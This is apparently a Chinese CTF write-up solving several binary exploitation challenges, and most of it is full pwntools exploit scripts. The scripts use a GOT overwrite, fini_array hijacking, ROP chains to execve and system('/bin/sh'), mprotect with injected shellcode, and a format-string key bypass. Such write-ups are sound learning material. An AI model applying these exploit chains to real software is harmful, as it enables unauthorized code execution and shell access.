#include “/home/ctf/fl
ag”@Y
有canary,利用触发canary时的__stack_chk_fail和题目的任意地址任意写,改写__stack_chk_fail为backdoor
exp:
from pwn import *
from LibcSearcher import *
local_file = './Memory_Monster_I'
local_libc = '/lib/x86_64-linux-gnu/libc-2.23.so'
remote_libc = '/lib/x86_64-linux-gnu/libc-2.23.so'
select = 0
if select == 0:
r = process(local_file)
#libc = ELF(local_libc)
else:
r = remote('183.129.189.60', 10081)
#libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
backdoor = 0x40124A
__stack_chk_fail = elf.got['__stack_chk_fail']
p1 = p64(__stack_chk_fail)+'a'*0x21
sea('addr:', p1)
sea('data:', p64(backdoor))
r.interactive()
ida一看一堆函数,==,直接file,没有符号表,运行,发现和第一题差不多,有任意地址任意写
可以尝试__libc_csu_fini
__libc_csu_init在main之前执行,
__libc_csu_fini在main之后执行
rdi <- main
rcx <- __libc_csu_init //在main函数前执行
r8 <- __libc_csu_fini//在main函数后执行
本题要使用og来解决
在.text:0000000000402988这个地方有一个call指令,结合前面的代码可以知道rbp保存的是fini_array的值,所以这里会调用fini_array中的函数.所以只要修改了fini_array的数值,我们就可以劫持eip.看一下fini_array的代码:
.fini_array:00000000004B40F0 _fini_array segment para public ‘DATA’ use64
.fini_array:00000000004B40F0 assumecs:_fini_array
.fini_array:00000000004B40F0 ;org4B40F0h
.fini_array:00000000004B40F0 _fini_array_0 dq offset sub_401B00 ; DATA XREF: .text:000000000040291C↑o
.fini_array:00000000004B40F0 ;__libc_csu_fini+8↑o
.fini_array:00000000004B40F8 dq offset sub_401580
.fini_array:00000000004B40F8 _fini_array ends
这里保存了两个函数指针,分别是fini_array[0]和fini_array[1],观察libc_csu_fini中的汇编代码我们可以得知这俩函数指针是反向执行的,先执行fini_array[1],再执行fini_array[0].如果我们将fini_array[0]覆盖为libc_csu_fini的地址,再将fini_array[1]覆盖为任意一个地址A,那么程序就会循环执行A地址的代码,直到fini_array[0]覆盖为其他值.以上来自http://www.resery.top/2020/05/23/BJD%203nd%20&%20DASCTF%20%E4%BA%94%E6%9C%88%E6%9C%88%E8%B5%9Bwp/#more
概括一下,大致的做法就是先将fini_array[0]改为__libc_csu_fini,将fini_array[1]改为main
然后构造rop链在fini_array[2]上
最后再将fini_array[0]改为leave_ret,fini_array[1]改为ret
libc_csu_fini在start的r8里
怎么找fini_array,可以看到start函数,如果没有的话,用alt+t,搜start,勾选最后一个
怎么找main,main就在start里的rdi里,
可以看到有canary,以及第二次一次只能写入0x18个字符
因此以后不要轻信checksec,除了看got表可不可写
syscall,用alt+t,这里不用勾选
binsh:ctrl+f在strings里
exp:
from pwn import *
from LibcSearcher import *
local_file = './Memory_Monster_II'
local_libc = '/lib/x86_64-linux-gnu/libc-2.23.so'
remote_libc = '/lib/x86_64-linux-gnu/libc-2.23.so'
select = 0
if select == 0:
r = process(local_file)
#libc = ELF(local_libc)
else:
r = remote('', )
#libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
def rewrite(addr, data):
sla('addr:', p64(addr))
sea('data:', data)
libc_csu_fini = 0x402CB0
main = 0x401C1D
fini_array = 0x4B80B0
pop_rdi = 0x0000000000401746 # pop rdi ; ret
pop_rsi = 0x0000000000406f80 # pop rsi ; ret
pop_rdx = 0x0000000000448415 # pop rdx ; ret
pop_rdx_si = 0x000000000044baf9 # pop rdx ; pop rsi ; ret
pop_rax = 0x0000000000448fcc # pop rax ; ret
leave_ret = 0x0000000000401cf3 # leave ; ret
ret = 0x0000000000401016 # ret
binsh = 0x492895
syscall = 0x402AD2
p1 = p64(libc_csu_fini)+p64(main)
rewrite(fini_array, p1)
p2_0 = p64(pop_rax) + p64(59) + p64(pop_rdi)
p2_1 = p64(binsh) + p64(pop_rdx_si) + p64(0)
p2_2 = p64(0) + p64(syscall)
rewrite(fini_array+0x10, p2_0)
rewrite(fini_array+0x10+0x18, p2_1)
rewrite(fini_array+0x10+0x18+0x18, p2_2)
p3 = p64(leave_ret)+p64(ret)
rewrite(fini_array, p3)
r.interactive()
利用思路大致和2相同,但是要用mportect修改内存段的权限,写入shellcode
int mprotect(void addr, size_t len, int prot);
mprotect(shell_addr-0x100, 0x1000, 7)
argu1 为mprotect函数的第一个参数 (被修改内存的地址) (找一块可读可写的bss)
argu2 为mprotect函数的第二个参数 (被修改内存的大小) 设置为 0x1000 (0x1000通过程序启动时查看该内存块的大小的到的) 当然设大一点就好了 :)
argu3 为mprotect函数的第三个参数 (被修改内存的权限) 设置为 7 = 4 + 2 +1 (rwx)
from pwn import *
from LibcSearcher import *
local_file = './Memory Monster 3'
local_libc = '/lib/x86_64-linux-gnu/libc-2.23.so'
remote_libc = '/lib/x86_64-linux-gnu/libc-2.23.so'
select = 0
if select == 0:
r = process(local_file)
#libc = ELF(local_libc)
else:
r = remote('', )
#libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
def rewrite(addr, data):
sea('addr:', p64(addr))
sea('data:', data)
libc_csu_fini = 0x402CA0
fini_array = 0x4B50B0
main = 0x401C1D
pop_rdi = 0x0000000000401746 # pop rdi ; ret
pop_rsi = 0x0000000000406f70 # pop rsi ; ret
pop_rdx = 0x0000000000447635 # pop rdx ; ret
pop_rdx_si = 0x000000000044ab09 # pop rdx ; pop rsi ; ret
pop_rax = 0x000000000044806c # pop rax ; ret
leave_ret = 0x0000000000401cf3 # leave ; ret
ret = 0x0000000000401016 # ret
syscall = 0x402504
binsh = 0x4BA610
read = 0x447620
mprotect = 0x448420
shell_addr = 0x004b5000+0x800
sh = asm(shellcraft.sh())
p1 = p64(libc_csu_fini) + p64(main)
rewrite(fini_array, p1)
p2_0 = p64(pop_rdi) + p64(0) + p64(pop_rdx_si)
p2_1 = p64(0x200) + p64(shell_addr) + p64(read)
p2_2 = p64(pop_rdi) + p64(shell_addr-0x800) + p64(pop_rdx_si)
p2_3 = p64(7) + p64(0x1000) + p64(mprotect)
p2_4 = p64(shell_addr)
rewrite(fini_array+0x10, p2_0)
rewrite(fini_array+0x10+0x18, p2_1)
rewrite(fini_array+0x10+0x18+0x18, p2_2)
rewrite(fini_array+0x10+0x18+0x18+0x18, p2_3)
rewrite(fini_array+0x10+0x18+0x18+0x18+0x18, p2_4)
p3 = p64(leave_ret) + p64(ret)
rewrite(fini_array, p3)
se(sh)
r.interactive()
██████████████████████████████████████████
██████████████████████████████████████████
██████████████ ████ ██████████████
██████████████ ████ ██████████████
███████████████████ ███████████████████
█████████████████ █████████████████
█████████████████ █████████████████
█████████████████ ████ █████████████████
██████████████████████████████████████████
██████████████████████████████████████████
本体使用了init, orw来获得flag
本题找不到rdx,只好init了 orz
运行1100次之后就无法继续打开文件来获得随机数了,估计是因为文件描述符用完了,毕竟他只打开没关闭文件
之后就一直是0了,我们就循环234次,让他大于233,来退出循环
至于为什么不运行10000次来退出循环直接拿flag,估计是因为远端响应时间限制,不能运行那么久
init的相关知识:
init在main之前运行,在start里是在rcx里
rbx,rbp,r12,r13,r14,r15 r13–>rdi r14–>rsi r15–>rdx
控制 rbx 为 0,r12 为存储我们想要调用的函数的地址
rbx+1 = rbp, rbx=0, rbp=1 这样我们就不会执行 loc_400600
想要调用的函数的地址要使用got
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = ‘a’ * 0x80 + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += ‘a’ * 0x38
payload += p64(last)
sh.send(payload)
sleep(1)
csu(0, 1, write_got, 8, write_got, 1, main_addr)
来自ctfwiki的中级ROP
至于那个0x38
这里有篇文章很好地解释了
https://blog.csdn.net/zszcr/article/details/79833898?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase
不过为什么这里的orw的r的文件描述符是0我还有点没懂,一般是3才对,也许是因为前面的open和以前的不一样?
padding为0x9估计是因为,我用cutter看了一下,他是往rax里read的,所以是0x8+1, 1是因为他减了1吧(应该)
exp:
from pwn import *
from LibcSearcher import *
local_file = './secret2'
local_libc = '/lib/x86_64-linux-gnu/libc-2.23.so'
remote_libc = '/lib/x86_64-linux-gnu/libc-2.23.so'
select = 0
if select == 0:
r = process(local_file)
#libc = ELF(local_libc)
else:
r = remote('', )
#libc = ELF(remote_libc)
elf = ELF(local_file)
#context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
csu_end_addr = 0x401612
csu_front_addr = 0x4015F8
pop_rdi = 0x000000000040161b # pop rdi ; ret
flag = 0x4021df
pop_rsi = 0x0000000000401619 # pop rsi ; pop r15 ; ret
open_plt = elf.plt['open']
read_got = elf.got['read']
puts_plt = elf.plt['puts']
bss = elf.bss()+0x800
p = 'a'*(8+1) + p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0)*2 + p64(open_plt)
p += p64(csu_end_addr) + p64(0) + p64(1) + p64(read_got) + p64(0) + p64(bss) + p64(0x100)
p += p64(csu_front_addr) + 'a'*0x38 + p64(pop_rdi) + p64(bss) + p64(puts_plt)
sea('name? ', p)
for i in range(1100):
sea('Secret: ', 'aaaa')
for i in range(234):
sea('Secret: ', p64(0))
r.interactive()
别忘了自己在本地写个flag文件,不然读不出东西的 orw
这题还是读汇编吧,有不少信息都在汇编里
调试比较麻烦,要先写个脚本,直接gdb好像不行,
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level="debug"
sh = process("./easybabystack")
elf = ELF("./easybabystack")
gdb.attach(sh)
sh.recvuntil("username: ")
sh.sendline('%2$p')
sh.sendlineafter('passwd: ', 'eeee')
sh.interactive()
~~~~然后b*0x40157B (后面突然不行了,换个方法,脚本还是要的,直接运行脚本)
然后b*0x401681,c(优化了一下,不用一直n了)
si
n
si
n
si
n
到这里,stack30就可以了,随机数每次都不同,所以和下面的不太一样
过程好像有几步繁琐了,懒得优化了hhhhh,摸了
绕过key,然后用栈溢出 init
本题的init和一般的不同,自己看一下init的汇编就好
调试的时候要在gdb后面再更一行,否则会卡住
%*18$ d%5$n的意思是取偏移18处的值(随机数的值)填到偏移5(passwd)那里,来绕过!=的检测
调用随机数在mmap那里,这题建议用cutter来代替ida,ida啥也看不出来,不过cutter没显示出main函数,我就两个结合着看了
第一行就是passwd的偏移,第二行是user的偏移,为什么?读汇编你就能发现:
这是mian的汇编
这是40143c的汇编
我们可以清楚地看到,rsi赋值给了rbp-0x70,rsi是由rdx给的,rdx是由rbp-8给的,rbp-8正是passwd,rbp-0x70就是上上图中的第一行,0+5=5,,user同理
随机数在0xd,0xd+5=0x12=18
格式化字符串应该都是按10进制来的吧(忘了,学得太烂orz)
exp:
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level="debug"
sh = process("./easybabystack")
elf = ELF("./easybabystack")
sh.recvuntil("username: ")
sh.sendline('%*18$d%5$n')
#gdb.attach(sh,"b *0x401512")
sh.sendline('1')
init_end = 0x40172A
init_front = 0x401710
pop_rdi = 0x0000000000401733 # pop rdi ; ret
pop_rsi = 0x0000000000401731 # pop rsi ; pop r15 ; ret
bss = 0x00404000+0x800
read_got = 0x404038
system_plt = 0x00401110
p = 'a'*0x118
p += p64(init_end) + p64(0) + p64(1) + p64(0) + p64(bss) + p64(0x100) + p64(read_got)
p += p64(init_front) + 'a'*0x38 + p64(pop_rdi) + p64(bss) + p64(system_plt)
sh.sendlineafter('message: ', p)
sh.send('/bin/sh\x00')
sh.interactive()
运行之后会卡一会,然后就通了
最后一题真把我做晕了orz,嗯读汇编
这篇文章我是分两天写的,如果有哪里前言不搭后语,出现错误等等,欢迎各位指出,互相交流